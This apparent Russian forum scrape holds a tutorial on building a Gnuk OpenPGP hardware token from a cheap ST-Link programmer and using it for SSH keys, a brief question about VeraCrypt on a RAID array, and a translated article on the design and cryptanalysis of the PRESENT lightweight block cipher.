Криптография дает нам возможность скрывать то, что мы хотим отправить, убедиться в том, что мы общаемся именно с тем, с кем мы думаем и много других интересных вещей. Обычно для того, чтобы все это хорошо работало от нас просят только одно — держать в секрете наши ключи шифрования. Звучит просто, не правда ли? Что ж, давайте посмотрим как же можно припрятать наши ключи:

  • Сохранить в файлике на рабочем столе — старый и проверенный годами способ записать что-то. Проблема в том, что помимо самого пользователя еще куча других программ имеет доступ к файлам на вашем рабочем столе. И если вы совершенно уверенны в том, что все они делают то, для чего они предназначены, не собирают о вас никакие данные и попросту не сливают их в сеть — эта статья не для вас.
  • Менеджеры паролей — по-сути такое же хранение в файлике, просто он теперь зашифрован и чтобы получить доступ нужно знать пароль. Уже неплохо, но раз менеджер паролей запускается на вашем компьютере, то незашифрованные ключи попадают в оперативную память, откуда могут быть украдены из-за какой-нибудь уязвимости ОС
  • Записать на бумажку — удивительно, но этот способ выглядит немного более безопасным. Ключи не хранятся на вашем компьютере, кишашем вирусами. Каждый раз, когда вам нужно использовать ключи вы просто вводите его с клавиатуры. Однако, если ваши ключи довольно длинные(как например ssh-ключи) это может стать проблемой. Да и кейлоггеры не дремлют

Как видно, основаная проблема состоит в том, что ключи либо непосредственно хранятся на вашем компьютере либо вводятся туда, посредством клавиатуры, флешки и т.п. Но, возразите вы, а как же тогда мой компьютер будет шифровать данные, если он не знает ключа? Правильный ответ — никак. Решение уже давно придумано. Главная идея в том, чтобы подключить к компьютеру специальное устройство, которое будет само шифровать данные. А компьютер будет только отправлять данные и получать результат. Так работают, например, многие смарт карты.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fkw%2Fbr%2Fdm%2Fkwbrdm5ra5c6cbzc0thcwnk- cly.jpeg&hash=7afafad0ad91e4d630c1b85aefa3b9b3)

Необходимые компоненты

Итак, приступим. Собирать наш девайс мы будем на недорогом и достаточно популярном микроконтроллере серии STM32. Конечно, можно самому изготовить печатную плату но мы же хотим управиться за 2 часа? Так что возьмем уже готовое решение — программатор ST-Link v2. Выглядит этот девайс вот так.

Как ни странно, программатор для микроконтроллеров STM32 собран на микроконтроллере STM32. Этот девайс внешне очень напоминает флешку, что нам как нельзя на руку. К тому, же его корпус изготовлен из алюминия, так что можно не переживать что он повредиться. Стоит это чудо на алиэкспресс 1.5-3 доллара. Нам потребуется две такие штуки. Одну мы переделаем под ключ, а вторую будем использовать чтобы залить прошивку на первую. Если у Вас уже есть программатор STM32 можно обойтись и одной штукой.

Итого, нам потребуется:

  • Программатор ST-Link v2 — 2 штуки
  • Паяльник
  • Немного проводов — как правило подходящие провода уже идут в комплекте с ST-Link
  • Linux, для того, чтобы скомпилировать и залить прошивку

Компилируем прошивку

Итак, начнем с софтварной части — сборке прошивки для нашего ключа. Исходные коды прошивки можно найти [в этом репозитории](https://salsa.debian.org/gnuk- team/gnuk/gnuk). Я бы посоветовал скачать последнюю стабильную версию(её можно найти во вкладке tags). Можно склонировать репозиторий либо скачать в виде zip архива. Разминаем пальцы, запускаем терминал и переходим в папку с проектом. Переходим в папку src

Code:Copy to clipboard

$ cd src

Для того чтобы скомпилировать и загрузить прошивку нам нужно установить несколько пакетов:

  • arm-none-eabi-gcc
  • arm-none-eabi-newlib
  • openocd

Я использую пакетный менеджер pacman, в моей случае это виглядит вот так

Code:Copy to clipboard

$ sudo pacman -S arm-none-eabi-gcc
$ sudo pacman -S arm-none-eabi-newlib
$ sudo pacman -S openocd

Если Вы сидите на Ubuntu — используйте apt.

Напомню, что мы находимся в папке src проекта. Запускаем утилиту make и наблюдаем как компилируется наша прошивка.

Code:Copy to clipboard

$ make

После компиляции появится папка build, а в ней файл gnuk.elf — он то нам и нужен.

Загрузка прошивки на устройство

Теперь, когда у нас есть готовый файл с прошивкой нам нужно только загрузить её на устройство. Для этого, нам прийдется немного поработать паяльником. Не беспокойтесь, особых навыков тут не потребуется, всего-то припаять 4 проводка.

Итак, берем один из программаторов и стягиваем с него корпус. Выбранный программатор и будет нашим донором. Вот что мы найдем внутри

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fva%2F-p%2Fzz%2Fva- pzzkpf43ql4ecp0gnc2xp2xm.jpeg&hash=667d808746150777146c159ece46840e)

Обратите внимание на 4 контакта на плате. К ним нам нужно будет припаяться. Я рекомендую использовать для этого провода, которые идут в комплекте с ST-Link. Зачищаем провода с одного конца и припаиваем их к контактам. Если нам повезло, то на плате будут обозначения этих контактов.
"

Теперь, второй конец проводов подключаем к оставшемуся целым программатору. Если вам повезло, то просто подключаем провода в соответствии с надписями:

GND к GND
3.3V к 3.3V
SWDIO к SWDIO
SWCLK к SWCLK

Click to expand...

Если надписей на плате не оказалось, то прийдется ~~тыкать наугад~~ воспользоваться тестером. С его помощью можно легко найти GND(он соединен с GND на выводах программатора-донора), аналогично 3.3V. Остальные два провода прийдется подключать наугад. Благо, вариантов всего 2. В итоге, получается что-то похожее на это

На этом фото синий девайс — программматор, который мы используем только как программатор. Пусть вас не смущает то, что на фото в начале статьи у итогового девайса синий цвет корпуса. Это не он. Будущий девайс находиться справа.

Загружаем прошивку

Мы в шаге от успеха, осталось только загрузить прошивку. Открываем терминал, переходим в папку с нашей прошивкой(gnuk.elf).

Запускаем команду:

Code:Copy to clipboard

$ openocd -f interface/stlink-v2.cfg -f target/stm32f1x.cfg -c 'program build/gnuk.elf verify reset exit'

Итак, теперь мы залили прошивку на наш девайс. Остался один шаг — запретить чтение памяти микроконтроллера. ВНИМАНИЕ! Это очень важный этап, который не позволит человеку, который украл ваш ключ, вытащить из него секретную информацию.

Для этого запускаем команду:

Code:Copy to clipboard

openocd -f interface/stlink-v2.cfg -f target/stm32f1x.cfg -c init -c "reset halt" -c "stm32f1x lock 0" -c reset -c exit

Теперь все готово.

Собираем все обратно

Теперь, когда все шаги позади, осталось позаботиться о внешнем виде нашего девайса. Отпаиваем провода. Оригинальная панель контактов нам тоже больше не нужна, так что можно смело выпаять её.

Разламываем крепление и выпаиваем контакты по одному.

Теперь одеваем обратно корпус, и заклеиваем заднюю стенку подходящим куском пластика.

Как можно использовать

То, что мы собрали — эмулятор OpenPGP смарт карты. Такая карта может хранить в себе GPG, SSH ключи. Область применения довольно большая, например:

  • Подписывание git коммитов — вопрос безопасности уже поднимался тут
  • Хранение SSH ключей
  • Шифрование и подписывание электронной почты по стандарту S/MIME — не проверял, но пишут что работает
  • Вход в ОС без пароля — хороший гайд уже есть на хабре

Как видим, можно сделать много чего интересного и полезного

Пример использования для ssh

И под конец, давайте посмотрим как можно использовать этот ключ для хранения ssh-ключей и подключения к удаленному серверу.

Есть два пути — сгенерировать новый ключ или импортировать уже имеющийся ключ на токен.

Посмотрим оба варианта. Вставляем токен в USB. В dmesg можно посмотреть информацию о подключенном устройстве.

Code:Copy to clipboard

$ dmesg
[11073.599862] usb 1-3: USB disconnect, device number 11
[11311.647551] usb 1-3: new full-speed USB device number 12 using xhci_hcd
[11311.796881] usb 1-3: New USB device found, idVendor=234b, idProduct=0000, bcdDevice= 2.00
[11311.796884] usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[11311.796885] usb 1-3: Product: Gnuk Token
[11311.796887] usb 1-3: Manufacturer: Free Software Initiative of Japan

Генерация нового ssh ключа

Важно понимать, что ключ генерируется на самом устройстве , а не на вашем компьютере. Так что, такой ключ вообще никогда не покидает пределы устройства.

Заходим в gpg:

Code:Copy to clipboard

$ gpg --card-edit

Открывается интерактивный режим gpg, включаем режим администратора коммандой admin:

Code:Copy to clipboard

gpg/card> admin

Далее запускаем команду генерации нового ключа:

Code:Copy to clipboard

gpg/card> generate

Далее идет стандартная процедура генерации ключа gpg. Во время которой вам будет предложено сохранить бекап ключа на диск. Разработчики рекомендуют делать бэкапы, но решать вам.
Единственно — аппаратно поддерживается генерация RSA ключей до 2048 бит. Если нужно 4096 — ключ прийдется генерировать на компьютере, а потом уже импортировать на само устройство.
Далее вам потребуются пин-коды. По умолчанию в прошивке зашиты следующие пин- коды:

CARD PIN — 123456
ADMIN PIN — 12345678

Click to expand...

В будущем их обязательно нужно поменять.

Ключ может генерироваться немного дольше, чем если бы он генерировался непосредственно на компьютере, поэтому запасаемся терпением.

Импорт уже имеющегося ключа

Теперь посмотрим что делать, если у вас уже есть ssh-ключ, который вы хотели бы использовать.
Для этого импортируем ключ в gpg:

Code:Copy to clipboard

$ pem2openpgp temporary_id < id_rsa  | gpg --import

Теперь нам нужно узнать id ключа. Для этого выводим список всех доступных в gpg:

Code:Copy to clipboard

$ gpg -K

И находим импортированный ключ:

Code:Copy to clipboard

sec>  rsa2048 2020-02-05 [C]
      DFEFF02E226560B7F5A5F2CAB19534F88F8FE4EC
      Card serial no. = FFFE 87144751
uid           [ unknown] temporary_id

В моем случае id ключа — DFEFF02E226560B7F5A5F2CAB19534F88F8FE4EC

Заходим в интерактивный режим редактирования ключа gpg:

Code:Copy to clipboard

$ gpg --edit-key DFEFF02E226560B7F5A5F2CAB19534F88F8FE4EC

И даем команду на копирование ключа на смарт карту:

Code:Copy to clipboard

gpg> keytocard

Все, ключ записан.

Экспорт публичного ключа в ssh формате

Достаем нужный публичный ключ с токена для того, чтобы положить его на сервер:

Code:Copy to clipboard

$ pkcs15-tool --list-keys

В моем случае вывод выглядит так:

Code:Copy to clipboard

Using reader with a card: Free Software Initiative of Japan Gnuk (FSIJ-1.2.15-87144751) 00 00
Private RSA Key [Signature key]
    Object Flags   : [0x03], private, modifiable
    Usage          : [0x20C], sign, signRecover, nonRepudiation
    Access Flags   : [0x1D], sensitive, alwaysSensitive, neverExtract, local
    ModLength      : 2048
    Key ref        : 0 (0x00)
    Native         : yes
    Auth ID        : 01
    ID             : 01
    MD:guid        : f3de5f55-d100-4973-d572-40d67e20f033

Тут нас интересует ID-шник ключа, в моем случае 01. Теперь экспортируем публичный ключ:

Code:Copy to clipboard

$ pkcs15-tool --read-public-key 01

Копируем публичный ключ в файлик pub.key:

Code:Copy to clipboard

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyzHQIWEApliWYaf0T8jb
Vh2nc5+LklKXeuJFTN3BW2VqdrTw1rpKXiANWpi+qbtZhZ2nP3CJX6qoGobXyCOd
/iAiygFlyW4BwTQpnAm81IE9lPzfasOK7SBuKJ+ZbB4WpuYJRozgtt/gpWzmnWnW
84/CU9Lqbhz95v/C/DImSf6LiwVdmiEj4CUNInl5pY4trguDsSfkw1u8gGqSPEsD
ZXtlVRx8iBGi0JR02g9KTL4dDGocUtcTK8W0eY+BDbQSXfTGCy93v8sEyhdQjHs8
oDiwkvFQ86gYqwL5DJ7U/rFSO3A5X6zmkFFV8nJZjxB2qfE5aommtXxow4iPml3x
YwIDAQAB
-----END PUBLIC KEY-----

И конвертируем его в ssh-rsa формат:

Code:Copy to clipboard

$ ssh-keygen -f pub.key -i -mPKCS8

Получается публичный ключ в нужном формате:

Code:Copy to clipboard

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLMdAhYQCmWJZhp/RPyNtWHadzn4uSUpd64kVM3cFbZWp2tPDWukpeIA1amL6pu1mFnac/cIlfqqgahtfII53+ICLKAWXJbgHBNCmcCbzUgT2U/N9qw4rtIG4on5lsHham5glGjOC23+ClbOadadbzj8JT0upuHP3m/8L8MiZJ/ouLBV2aISPgJQ0ieXmlji2uC4OxJ+TDW7yAapI8SwNle2VVHHyIEaLQlHTaD0pMvh0MahxS1xMrxbR5j4ENtBJd9MYLL3e/ywTKF1CMezygOLCS8VDzqBirAvkMntT+sVI7cDlfrOaQUVXyclmPEHap8Tlqiaa1fGjDiI+aXfFj

Дальше идет стандартная процедура настройки ssh для входа по заданному ключу — нужно добавить ключ в файлик ~/.ssh/authorized_keys на удаленной сервере.

Конфигурирование ssh

Теперь, для того, чтобы зайти на сервер с использованием нашего токена нужно вызвать ssh с ключем -I и передать путь в драйверу токена. Наш токен совместим с одним из стандартных драйверов, так что будем использовать его

Code:Copy to clipboard

$ ssh -I /usr/lib/opensc-pkcs11.so martin@remotehost

Однако, удобнее будет воспользоваться config файлом (~/.ssh/config)
Добавляем в него следующие строки

Code:Copy to clipboard

Host digitalOceanServer
        HostName 178.62.38.97
        User root
        PKCS11Provider /usr/lib/opensc-pkcs11.so

Теперь вызов ssh стал еще проще:

Code:Copy to clipboard

$ ssh digitalOceanServer

Как поменять стандартные пин-коды

Не менее важным шагом будет установка собственных пин-кодов. Для начала нужно понять, что тут используется два разных пин-кода:

  • PIN-code — этот код используется при рутинных операциях со смарт картой — зашифровать что-то, подписать и т.д.
  • Admin Pin-code — этот код нужен для того, чтобы изменять/удалять ключи и делать всякие подобные «админские» вещи
  • Reset code — код, который позволит разблокировать токен, после трех неправильных попыток ввода PIN-кода. Его использование не обязательно, так что решать вам

У вас есть только 3 попытки для каждого из кодов. После чего токен блокируется.

Теперь приступим. Для этого опять заходим в интерактивный режим GPG:

Code:Copy to clipboard

$ gpg --card-edit

И вводим комманду passwd:

Code:Copy to clipboard

gpg/card> passwd

Откроется окно, где можно будет сменить пин-код от токена.

Теперь нужно поменять пин-код администратора. Для этого переходим в режим администратора:

Code:Copy to clipboard

gpg/card> admin

Вводим команду passwd снова:

Code:Copy to clipboard

gpg/card> passwd

Однако теперь она работает в расширенном режиме и нам предложат несколько вариантов:

Code:Copy to clipboard

1 - change PIN
2 - unblock PIN
3 - change Admin PIN
4 - set the Reset Code
Q - quit

Your selection?

Выбираем change Admin PIN и по стандартной схеме устанавливаем пароль администратора. Напомню, default Admin PIN — 12345678.

О безопасности устройства

Разумеется, за 3$ нельзя достичь секьюрности уровня ключей за 200+ долларов. Однако, собранный девайс можно рассматривать как ключ начального уровня. Насколько мне известно, заводские ключи Nitrokey Start используют такую же прошивку. В любом случае, использование такого устройства поднимет безопасность как минимум на уровень выше. Так что это отличный способ начать использовать аппаратные ключи.

Теперь поговорим немного о том, что будет еслы Вы потеряете этот ключ. Сам ключ защищен пин-кодом. После нескольких неудачных попыток ключ блокируется. Память самого устройства защищена от чтения, так что считать записанные в него ключи напрямую не получится.
Существуют некоторые виды атак на сам чип(например препарирование и подключение к нему микроэлектородов, что позволит измерять напряжение в любом месте чипа, в том числе и памяти), но они довольно затратные.

Так что, повторюсь еще раз, это отличный вариант начального уровня, и даже с ним безопасность выйдет на принципиально новый уровень.

Ссылки на полезные материалы

В процессе использования устройства наверняка возникнет потребность в дополнительной информации. Я собрал список хороших источников.

Устройство которое мы собрали разрабатывается опенсорсным проектом GNUK (соб- сно так токен и называется), так что еще информации можно найти в гугле по запросу «GNUK».

автор @asemchenko

VeraCrypt + raid
ID: 676536fbb4103b69df3738b8
Thread ID: 34799
Created: 2020-02-05T19:16:38+0000
Last Post: 2020-02-10T13:54:58+0000
Author: top
Replies: 2 Views: 2K

Добрый вечер, комрады
подскажите, ситуация. есть 2 винта в raid'е. биос - uefi
хочу все это дело безопасно криптануть VeraCrypt
как он работает с раидами? проблем не будет? как технически будет происходить крипт?

PRESENT — ультралегкое блочное шифрование
ID: 676536fbb4103b69df3738b9
Thread ID: 34874
Created: 2020-02-10T09:53:03+0000
Last Post: 2020-02-10T09:53:03+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Аннотация

После внедрения AES потребность в новых алгоритмах блочного шифрования резко упала, поскольку в большинстве случаев AES является отличным решением. Однако, несмотря на простоту реализации, AES не подходит для сверх ограниченных окружений, типа RFID меток и считывателей. В данной статье будет описан сверх-легкий блочный шифрующий алгоритм PRESENT. Во время разработки этого алгоритма во внимание были приняты как эффективность воплощения в железо, так и надежность шифровки. В итоге результат системных требований сравним с сегодняшними ведущими компактными потоковыми шифрами.

1. Введение

Основной курс в IT текущего столетия — развитие малых вычислительных устройств, причем применяемых не только потребительских товарах, но и формирующих неотъемлемую — и незаметную — часть окружения — инфраструктуру связи. Уже выявлено, что подобные внедрения создают целый спектр весьма конкретных угроз безопасности. В то же время, подручные криптографические решения, даже довольно примитивные, зачастую не подходят для использования в сильно ограниченных по ресурсам окружениях.

В этой статье мы предлагаем новый, оптимизированный по железу блочный алгоритм шифровки, разработанный с условиями максимально возможных ограничений по размерам и энергопотреблению. В то же время, мы попытались избежать компрометации данных. Для достижения этого мы воспользовались опытом DES и дополнили свойствами Serpent, как показавшего восхитительную производительность в железе.

Пожалуй, здесь стоит пояснить, почему мы вообще решили разрабатывать новый блочный шифр, ведь общепризнанный факт заключается в том, что поточные шифры, потенциально, более компактны. Действительно, в начале мы приложили усилия по пониманию устройства компактных поточных шифров в процессе работы над проектом eSTREAM, а так же нескольких других многообещающих предположений, кажущихся быстродейственными. Но мы заметили несколько причин, по которым выбрали все-таки блочный шифр. Во-первых, блочное шифрование универсально и примитивно, а при использовании его в режиме шифрования, т.е. используя уже зашифрованные блоки для шифровки следующих, мы получаем потоковое шифрование. Во-вторых, и, пожалуй, в-главных, тонкости принципов работы блочных шифров кажутся лучше исследованными, нежели чем принципы работы поточных шифрующих алгоритмов. К примеру, в то время как есть обширная теория на базе использования регистров сдвига с линейной обратной связью, не так просто объединить эти блоки так, чтобы получить безопасное предложение. Мы предполагаем, что аккуратно спроектированный блочный шифр может быть более безопасен, нежели чем свежесозданный поточный шифр. Таким образом, получаем, что блочный шифр, требующий столько же ресурсов железа, сколько и компактный поточный шифр, может быть весьма интересен.

Важно отметить, что создавая новый блочный шифрующий алгоритм, особенно с выделяющейся производительностью, мы не просто гонимся за инновациями. Напротив, разработка и реализация шифра идут рука об руку, выявляя некоторые фундаментальные пределы и присущие ограничения. Например, заданный уровень безопасности накладывает ограничения на минимальную длину ключа и блока. Даже обработка 64-битного состояния 80-битным ключом ограничивает минимальный размер устройства. Также можно заметить, что воплощение в «железо» — в особенности же компактность аппаратной реализации — способствует повторяемости. Даже малые изменения могут негативно сказаться на объеме устройства. Однако, криптоаналитики так же ценят повторяемость и ищут математические структуры, которые легко размножаются во многих раундах. Так как много простых повторяющихся структур можно использовать, не подрывая безопасность системы?

Итак, в данной статье будет описан компактный блочный шифр PRESENT. После короткого ревью существующей литературы, всю остальную статью мы оформили в стандартном виде. Шифр описан в секции 3, в секции 4 описаны проектные решения. В 5 секции мы рассмотрим безопасность, тогда как секция 6 будет содержать в себе детальный анализ производительности. Завершается же данный труд нашими выводами.

2. Существующие труды

В то время, как объем работ, посвященных дешевой криптографии непрерывно растет, количество статей посвященных сверх-легким шифрам на удивление мало. Переводя фокус на устройство протокола, мы перестанем ссылаться на работы по дешевым протоколам связи и идентификации. Одна из наиболее обширных работ по компактной реализации в настоящий момент связана с проектом eSTREAM. В рамках одной из частей этого проекта были предложены новые поточные шифры, приспособленные к эффективному воплощению в «железе». По ходу данной работы намечаются многообещающие кандидаты. Пока соотношения примерны, но из брошюр по внедрению следует, что для компактных шифров проекта eSTREAM потребуется порядка 1300-2600 GE (Gate equivalents).

Среди блочных шифров, один из широко известных, а именно DES был создан с учетом эффективности по оборудованию. Помятуя о весьма ограниченном состоянии полупроводников в начале 1970-х, не удивительно, что DES обладает весьма конкурентноспособными свойствами в реализации. Во время разработки, на DES исполнение было затрачено 3000GE, а после сериализации это число опустилось до 2300GE. Однако длина ключа DES ограничивает его полезность во многих приложениях и приводит к тому, что на его основе разрабатываются специализированные модификации, например, с повышенной криптостойкостью или удлиненным ключом.

Касательно современных блочных шифров, в этой статье приводится тщательный анализ дешевого в исполнении AES. Однако, на его реализацию требуется порядка 3600 GE, что является непрямым следствием проектировки штфра под 8- и 32-битные процессоры. Системные требования <a href=" TEA не известны, однако по прикидкам требуют около 2100 GE. Есть и еще 4 решения, заточенных под дешевое оборудование: mCRYPTON (имеет точное исполнение в 2949 GE), HIGHT (около 3000 GE), SEA (порядка 2280 GE) и CGEN (так же около 2280 GE), несмотря на то, что последний и не был задуман как блочный шифр.

3. Блочный шифр PRESENT

PRESENT — частный случай <a href=" SP- сети и состоит из 31 круга. Длина блока составляет 64 бита, а ключи поддерживаются в 2 вариантах, 80- и 128-битные. Такого уровня защиты должно вполне хватать для низкозащищенных приложений, обычно используемых для развертывания на основе тегов, а кроме того, что важнее, PRESENT во многом совпадает своими конструтивными особенностями с поточными шифрами проекта eSTREAM, заточенными на эффективную реализацию в железе, что позволяет нам адекватно сравнивать их.
Требования по безопасности и эксплуатационные свойства 128-битных версий предоставлены в приложении к оригинальной статье.

Каждый из 31 кругов состоит из операции XOR, чтобы ввести ключ Ki для 1 ≤ i ≤ 32, где K32 используется для «отбеливания» ключа, линейной побитовой перестановки и нелинейного слоя замещения (или, попросту говоря, увеличения стойкости шифрования). Нелинейный слой использует раздельные 4-битные S-блоки, которые применяются параллельно 16 раз на каждом круге. Шифр, описанный псевдо-кодом представлен на рисунке:

Теперь каждая стадия определяется по очереди. Обоснования конструкции приведены в 4 разделе, а биты всюду нумеруются с нуля, начиная с правого в блоке или слове.

Добавление кругового ключа (addRoundKey). Задан круговой ключ Ki = ki63… ki0, где 1 ≤ i ≤ 32, а так же текущее состояние b63… b0. Добавление кругового ключа к текущему состоянию происходит по модулю 2 (bj = bj ⊕ kij, где 0 ≤ j ≤ 63).

Слой S-блоков (sBoxlayer). Используемые в PRESENT S-блоки отображают 4-битные блоки в 4-битные блоки. Действие этого блока в шестнадцатеричной системе счисления приведено в следующей таблице:

Для слоя S-блоков текущее состояние b63… b0 представляет из себя 16 4-битных слов w15… w0, где wi = b4i+3 || b4i+2 || b4i+1 || b4i для 0 ≤ i ≤ 15. Выход рамки S[wi] выдает обновленные значения состояний очевидным образом.

Слой перестановки (pLayer). Побитовая перестановка, используемая в PRESENT задается следующей таблицей (бит i состояния смещается на позицию P(i)):

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fet%2Fbh%2Fng%2Fetbhngoueocjgcnf0hhswl- lobs.png&hash=66a329cfa9358407ef2a06f8aa419d81)

Преобразование ключа (The key schedule). PRESENT может использовать 80- и 128-битные ключи, однако сосредоточимся на 80-битной версии. Предоставляемый пользователем ключ хранится в регистре ключей K, представленный в виде k79k78… k0. На i-ом круге 64-битный круговой ключ Ki = k63k62… k0, состоящий из 64 левых битов текущего содержимого регистра K. Таким образом, на i-ом круге имеем:
Ki = k63k62… k0 = k79k78… k16.

После распаковки кругового ключа Ki регистр ключа K = k79k78… k0 обновляется следующим образом:
1. [k79k78… k1k0] = [k18k17… k20k19]
2. [k79k78k77k76] = S[k79k78k77k76]
3. [k19k18k17k16k15] = [k19k18k17k16k15] ⊕ round_counter

Следовательно, регистр ключа сдвигается на 61 позицию влево, 4 крайних левых бита, прошедших через S-блок и round_counter значение i складывается по модулю 2 с битами k19k18k17k16k15 из K с наименьшим значащим битом из round_counter справа.

Преобразование ключа для 128-битного алгоритма можно найти в приложении к оригинальной статье.

4. Конструктивные особенности PRESENT

Помимо безопасности и эффективной реализации, основное достижение PRESENT — его простота. по этому не удивительно, что похожие проекты были приняты в других обстоятельствах, и даже были использованы как учебное пособие для студентов. В данной секции мы обоснуем решения, принятые нами при проектировке PRESENT. Однако, в первую очередь, опишем ожидаемые прикладные требования.

4.1. Цели и среда применения

При проектировке блочного шифра, применимого в жестко ограниченных окружениях, важно понять, что мы не создаем блочный шифр, который, непременно, будет применим во многих ситуациях — для этого существует AES. Наоборот, мы нацелены на весьма специфичное применение, для которого AES не подходит. Вышесказанное предопределяет нам следующие характеристики.

  • Шифр будет реализован «в железе»
  • Приложения будут требоваться лишь для регулировки уровня безопасности. Следовательно, 80-битный ключ будет здравым решением. Отметим, что такой же позиции придерживаются разработчики потоковых шифров проекта eSTREAM.
  • Приложения не предполагают шифровки большого количества данных. Таким образом, реализация может быть оптимизирована для производительности или пространства без внесения слишком больших изменений.
  • В некоторых применениях возможна ситуация, что ключ будет зафиксирован при производстве. В таком случае, не надо будет изменять ключ устройства (что может вылиться в атаки с манипуляцией ключом).
  • Физический объем устройства будет первым приоритетом, после безопасности, что повлечет ограничения на пиковые и средние потребления энергии, и, следовательно, сдвинет быстродействие в область низкоприоритетных параметров.
  • В устройствах, требующих наиболее эффективного использования физического пространства, блочный шифр зачастую сможет лишь шифровать данные (encryption-only mode). Таким образом, он сможет быть использован в запрос-ответ (challenge-response) протоколах авторизации, и, при соблюдении контроля состояния, может быть использован для шифровки и дешифровки переговоров с устройством, используя режим счетчика.

Исходя из таких соображений, мы решили создать PRESENT как 64-битный блочный шифр с 80-битным ключом. Шифровка и дешифровка, в данном случае, имеют примерно схожие физические требования. Имея возможность поддерживать как шифрацию, так и дешифрацию, PRESENT будет компактнее, чем поддерживающий лишь шифрацию AES. А в случае encryption-only исполнения, наш шифр окажется и вовсе сверх-легким. Шифрующие суб- ключи будут вычисляться на ходу.

В литературе есть множество примеров атак компромисса между временем, датой и памятью, или атак с использованием парадокса дней рождения при шифровке больших объемов данных. Однако, данные атаки зависят только от параметров шифра и не используют внутреннюю структуру. Наша цель состоит в том, чтобы эти атаки были лучшим, что могут применить против нас. Атаки стороннего канала и атаки с непосредственным взломом чипа угрожают PRESENT в той же мере, как и прочим криптографическим примитивам. Однако для вероятных применений, умеренные требования безопасности делают выгоду, получаемую злоумышленником на практике, весьма ограниченной. В оценке рисков, подобные угрозы не воспринимаются как существенный фактор.

4.2. Перестановочный слой

При выборе слоя смешивания ключа, наше внимание к аппаратной эффективности требует наличия линейного слоя, который может быть реализован с минимальным количеством управляющих элементов (например, транзисторов). это приводит к побитовой перестановке. Уделяя внимание простоте, мы выбрали регулярную битовую перестановку, что помогает провести прозрачный анализ безопасности(см. 5 раздел).

4.3. S-блоки.

В PRESENT мы используем раздельные S-блоки, переводящие 4 бита в 4 бита (F42→F42). Это прямое следствие нашего стремления к аппаратной эффективности, при этом реализация такого S-блока обычно намного компактнее, чем у 8-битного S-блока. Поскольку мы используем битовую перестановку для линейного диффузионного слоя, AES-подобные диффузионные технологии не являются вариантом для нашего шифра. Поэтому мы помещаем некоторые дополнительные условия на S-блоки, чтобы уменьшить так называемый «лавинный эффект». Точнее, S-блоки для PRESENT удовлетворяют следующим условиям, где мы обозначим коэффициент Фурье S через

SWb(a) = ∑(-1)<b, S(x)>+<a,x>, x∈F42

1. Для любой фиксированной ненулевой входной разнице ∆I ∈ F42 и любой фиксированной ненулевой выходной разнице ∆O ∈ F42 требуем
#{x ∈ F42|S(x) + S(x+∆I) = ∆O} ≤ 4.

2. Для любой фиксированной ненулевой входной разнице ∆I ∈ F42 и любой фиксированной ненулевой выходной разнице ∆O ∈ F42, такой что wt(∆I) = wt(∆O) = 1, имеем
{x ∈ F42|S(x) + S(x+∆I) = ∆O} = ∅

3. Для всех ненулевых a ∈ F42 и всех ненулевых b ∈ F4 выполняется что |SWb(a)| ≤ 8
4. Для всех ненулевых a ∈ F42 и всех ненулевых b ∈ F4, таких что wt(a) = wt(b) = 1 выполняется SWb(a) = ± 4

Как станет ясно из секции 5, эти условия гарантируют, что PRESENT устойчив к дифференциальным и линейным атакам. Используя классификацию всех 4-битных S-блоков, удовлетворяющих вышеприведенным условиям, мы выбрали S-блок, который особенно хорошо подходит для эффективной аппаратной реализации.

5. Анализ безопасности

А теперь мы представим результаты анализа безопасности PRESENT.

Дифференциальный и линейный криптоанализ

Дифференциальный и линейный криптоанализ являются одними из самых мощных методов, доступных криптоаналитику. Чтобы измерить сопротивление PRESENT дифференциальному и линейному криптоанализу, мы задаем нижнюю границу числа так называемых активных S-боксов, участвующих в дифференциальной (или линейной) характеристике.

Дифференциальный криптоанализ

Случай дифференциального криптоанализа охвачен следующей теоремой.

Теорема 1. Любая пятиконтурная дифференциальная характеристика PRESENT имеет минимум 10 активных S-блоков.

Теорема 1 доказывается в 3 приложении оригинальной статьи, а мы продолжим наблюдения. Разделим 16 S-блоков в 4 группы:

Числа на входе (сверху) обозначают номер S-блока на предыдущем шаге, а на выходе (снизу) — на последующем

Заметим, что:

  1. Входные биты к S-блоку поступают от 4 различных S-блоков одной и той же группы.
  2. Входные биты на группы из четырех s-блоков приходят из 16 различных s-блоков.
  3. Четыре выходных бита из конкретного S-блока входят в четыре различных S-блока, каждый из которых принадлежит отдельной группе S-боксов в следующем круге.
  4. Выходные биты s-блоков в разных группах идут в различные s-блоки.

Согласно теореме 1, любая дифференциальная характеристика за более чем 25 раундов PRESENT должна иметь не менее 5×10 = 50 активных S-блоков. Максимальная дифференциальная вероятность S-блока PRESENT равна 2-2, и поэтому вероятность единственной 25-раундовой дифференциальной характеристики ограничена 2-100. Продвинутые методы позволяют криптоаналитику удалить внешние раунды из шифра, чтобы использовать более короткую характеристику.Однако даже если мы позволим злоумышленнику удалить шесть раундов из шифра, что является беспрецедентной ситуацией, то данные, необходимые для использования оставшейся 25-раундовой дифференциальной характеристики, превысят доступное количество. Таким образом, границы безопасности более, чем надежные. Однако мы практически подтвердили, что граница числа активных S-блоков в Теореме 1 является жесткой.

Практическое подтверждение

Мы можем определить характеристики, которые включают в себя десять s-блоков в течение пяти раундов. Следующая двухраундовая итерационная характеристика включает в себя два S-блока за раунд и держится с вероятностью 2−25 за пять раундов.

Более сложные характеристики держатся с вероятностью 2-21 на протяжении 5 раундов.

Хотя вероятность этой второй характеристики очень близка к границе 2-20, она не является итерационной и имеет мало практической ценности. Вместо этого мы экспериментально подтвердили вероятность двухкругового итерационного дифференциала. В экспериментах с более чем 100 независимыми суб-ключами, использующими 223 выбранных пары открытого текста, наблюдаемая вероятность была предсказана. Это, по-видимому, предполагает, что для этой конкретной характеристики не существует сопутствующего значащего дифференциала. Однако определение степени любого дифференциального эффекта является сложной и трудоемкой задачей, даже несмотря на то, что наш предварительный анализ был обнадеживающим.

Линейный криптоанализ

Случай линейного криптоанализа PRESENT рассматривается следующей теоремой, в которой мы анализируем наилучшее линейное приближение к четырем раундам PRESENT.

